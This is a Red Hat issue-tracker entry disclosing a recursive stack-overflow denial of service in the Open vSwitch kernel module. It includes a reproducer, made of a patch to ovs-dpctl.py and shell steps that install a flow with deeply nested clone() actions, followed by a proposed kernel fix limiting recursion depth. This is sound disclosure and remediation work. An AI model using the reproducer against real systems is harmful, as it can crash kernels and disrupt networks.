Uploaded image for project: 'RHEL'
  1. RHEL
  2. RHEL-23575

Open vSwitch kernel module recursive DoS

    • kernel-5.14.0-451.el9
    • None
    • Important
    • rhel-sst-network-fastdatapath
    • ssg_networking
    • 10
    • 12
    • None
    • False
    • Hide

      None

      Show
      None
    • None
    • None
    • All
    • None

      This is an issue with the Open vSwitch Kernel module that is currently not resolved upstream.

      The Netlink copy code in the ovs kernel module attempts to make an in-kernel copy of the actions required.  That means that when recursive operations, like sample(), clone(), dec_ttl(), etc include additional actions, the code pushes a new stack frame and recursively calls into the code block.

      Unfortunately, OVS module doesn't validate the stack depth, and will push too many frames causing a stack overflow which can lead to crash or worse.

       

      This can be validated with the following patch to kernel's ovs-dpctl.py utility:

      ff --git a/tools/testing/selftests/net/openvswitch/ovs-dpctl.py b/tools/testing/selftests/net/openvswitch/ovs-dpctl.py
      index b97e621face9..05191b9ac301 100644
      --- a/tools/testing/selftests/net/openvswitch/ovs-dpctl.py
      +++ b/tools/testing/selftests/net/openvswitch/ovs-dpctl.py
      @@ -299,7 +299,7 @@ class ovsactions(nla):
               ("OVS_ACTION_ATTR_PUSH_NSH", "none"),
               ("OVS_ACTION_ATTR_POP_NSH", "flag"),
               ("OVS_ACTION_ATTR_METER", "none"),
      -        ("OVS_ACTION_ATTR_CLONE", "none"),
      +        ("OVS_ACTION_ATTR_CLONE", "recursive"),
               ("OVS_ACTION_ATTR_CHECK_PKT_LEN", "none"),
               ("OVS_ACTION_ATTR_ADD_MPLS", "none"),
               ("OVS_ACTION_ATTR_DEC_TTL", "none"),
      @@ -465,29 +465,45 @@ class ovsactions(nla):
                           print_str += "pop_mpls"
                   else:
                       datum = self.get_attr(field[0])
      -                print_str += datum.dpstr(more)
      +                if field[0] == "OVS_ACTION_ATTR_CLONE":
      +                    print_str += "clone("
      +
      +                    for d in datum:
      +                        print(".. recursive instance: %s" % type(d))
      +
      +                    print_str += ")"
      +                else:
      +                    print_str += datum.dpstr(more)
       
               return print_str
       
           def parse(self, actstr):
      +        totallen = len(actstr)
               while len(actstr) != 0:
                   parsed = False
      +            parencount = 0
                   if actstr.startswith("drop"):
                       # If no reason is provided, the implicit drop is used (i.e no
                       # action). If some reason is given, an explicit action is used.
      -                actstr, reason = parse_extract_field(
      -                    actstr,
      -                    "drop(",
      -                    "([0-9]+)",
      -                    lambda x: int(x, 0),
      -                    False,
      -                    None,
      -                )
      +                reason = None
      +                if actstr.startswith("drop("):
      +                    parencount += 1
      +
      +                    actstr, reason = parse_extract_field(
      +                        actstr,
      +                        "drop(",
      +                        "([0-9]+)",
      +                        lambda x: int(x, 0),
      +                        False,
      +                        None,
      +                    )
      +
                       if reason is not None:
                           self["attrs"].append(["OVS_ACTION_ATTR_DROP", reason])
                           parsed = True
                       else:
      -                    return
      +                    actstr = actstr[len("drop"): ]
      +                    return (totallen - len(actstr))
       
                   elif parse_starts_block(actstr, "^(\d+)", False, True):
                       actstr, output = parse_extract_field(
      @@ -504,6 +520,7 @@ class ovsactions(nla):
                           False,
                           0,
                       )
      +                parencount += 1
                       self["attrs"].append(["OVS_ACTION_ATTR_RECIRC", recircid])
                       parsed = True
       
      @@ -516,12 +533,22 @@ class ovsactions(nla):
       
                   for flat_act in parse_flat_map:
                       if parse_starts_block(actstr, flat_act[0], False):
      -                    actstr += len(flat_act[0])
      +                    actstr = actstr[len(flat_act[0]):]
                           self["attrs"].append([flat_act[1]])
                           actstr = actstr[strspn(actstr, ", ") :]
                           parsed = True
       
      -            if parse_starts_block(actstr, "ct(", False):
      +            if parse_starts_block(actstr, "clone(", False):
      +                parencount += 1
      +                subacts = ovsactions()
      +                actstr = actstr[len("clone("):]
      +                parsedLen = subacts.parse(actstr)
      +                lst = []
      +                self["attrs"].append(("OVS_ACTION_ATTR_CLONE", subacts))
      +                actstr = actstr[parsedLen:]
      +                parsed = True
      +            elif parse_starts_block(actstr, "ct(", False):
      +                parencount += 1
                       actstr = actstr[len("ct(") :]
                       ctact = ovsactions.ctact()
       
      @@ -553,6 +580,7 @@ class ovsactions(nla):
                               natact = ovsactions.ctact.natattr()
       
                               if actstr.startswith("("):
      +                            parencount += 1
                                   t = None
                                   actstr = actstr[1:]
                                   if actstr.startswith("src"):
      @@ -607,15 +635,29 @@ class ovsactions(nla):
                                           actstr = actstr[strspn(actstr, ", ") :]
       
                               ctact["attrs"].append(["OVS_CT_ATTR_NAT", natact])
      -                        actstr = actstr[strspn(actstr, ",) ") :]
      +                        actstr = actstr[strspn(actstr, ", ") :]
       
                       self["attrs"].append(["OVS_ACTION_ATTR_CT", ctact])
                       parsed = True
       
      -            actstr = actstr[strspn(actstr, "), ") :]
      +            actstr = actstr[strspn(actstr, ", ") :]
      +            while parencount > 0:
      +                parencount -= 1
      +                actstr = actstr[strspn(actstr, " "):]
      +                if len(actstr) and actstr[0] != ")":
      +                    raise ValueError("Action str: '%s' unbalanced" % actstr)
      +                actstr = actstr[1:]
      +
      +            if len(actstr) and actstr[0] == ")":
      +                return (totallen - len(actstr))
      +
      +            actstr = actstr[strspn(actstr, ", ") :]
      +
                   if not parsed:
                       raise ValueError("Action str: '%s' not supported" % actstr)
       
      +        return (totallen - len(actstr))
      +
       
       class ovskey(nla):
           nla_flags = NLA_F_NESTED
      @@ -2111,6 +2153,8 @@ def main(argv):
           ovsflow = OvsFlow()
           ndb = NDB()
       
      +    sys.setrecursionlimit(100000)
      +
           if hasattr(args, "showdp"):
               found = False
               for iface in ndb.interfaces:

       

       

      And the following script snippet:

      # ip link add d0 type dummy
      # python3 ./ovs-dpctl.py add-dp vuln
      # python3 ./ovs-dpctl.py add-if vuln d0
      # python3 ./ovs-dpctl.py add-flow vuln \   
        'in_port(0),eth(),eth_type(0x800),ipv4()'\
        'clone(clone(clone(clone(clone(clone(clone(....))))))))'
       
      

       

      Number of clone calls may need to vary to observe a stack overflow message.

      I will propose the following patch upstream on Tuesday 2/6

      --- a/net/openvswitch/flow_netlink.c
      +++ b/net/openvswitch/flow_netlink.c
      @@ -48,6 +48,9 @@ struct ovs_len_tbl {
       
       #define OVS_ATTR_NESTED -1
       #define OVS_ATTR_VARIABLE -2
      +#define OVS_COPY_ACTIONS_MAX_DEPTH 16
      +
      +static DEFINE_PER_CPU(int, copy_actions_depth);
       
       static bool actions_may_change_flow(const struct nlattr *actions)
       {
      @@ -3148,11 +3151,11 @@ static int copy_action(const struct nlattr *from,
              return 0;
       }
       
      -static int __ovs_nla_copy_actions(struct net *net, const struct nlattr *attr,
      -                                 const struct sw_flow_key *key,
      -                                 struct sw_flow_actions **sfa,
      -                                 __be16 eth_type, __be16 vlan_tci,
      -                                 u32 mpls_label_count, bool log)
      +static int ___ovs_nla_copy_actions(struct net *net, const struct nlattr *attr,
      +                                  const struct sw_flow_key *key,
      +                                  struct sw_flow_actions **sfa,
      +                                  __be16 eth_type, __be16 vlan_tci,
      +                                  u32 mpls_label_count, bool log)
       {
              u8 mac_proto = ovs_key_mac_proto(key);
              const struct nlattr *a;
      @@ -3478,6 +3481,26 @@ static int __ovs_nla_copy_actions(struct net *net, const struct nlattr *attr,
              return 0;
       }
       
      +static int __ovs_nla_copy_actions(struct net *net, const struct nlattr *attr,
      +                                 const struct sw_flow_key *key,
      +                                 struct sw_flow_actions **sfa,
      +                                 __be16 eth_type, __be16 vlan_tci,
      +                                 u32 mpls_label_count, bool log)
      +{
      +       int level = this_cpu_read(copy_actions_depth);
      +       int ret;
      +
      +       if (level > OVS_COPY_ACTIONS_MAX_DEPTH)
      +               return -EOVERFLOW;
      +
      +       __this_cpu_inc(copy_actions_depth);
      +       ret = ___ovs_nla_copy_actions(net, attr, key, sfa, eth_type,
      +                                     vlan_tci, mpls_label_count, log);
      +       __this_cpu_dec(copy_actions_depth);
      +
      +       return ret;
      +}
      +

      This will limit the number of recursive copies to a maximum of 16 deep.

              aconole@redhat.com Aaron Conole
              aconole@redhat.com Aaron Conole
              ovsdpdk triage ovsdpdk triage
              Qi Jun Ding Qi Jun Ding
              Votes:
              0 Vote for this issue
              Watchers:
              5 Start watching this issue

                Created:
                Updated:
                Resolved: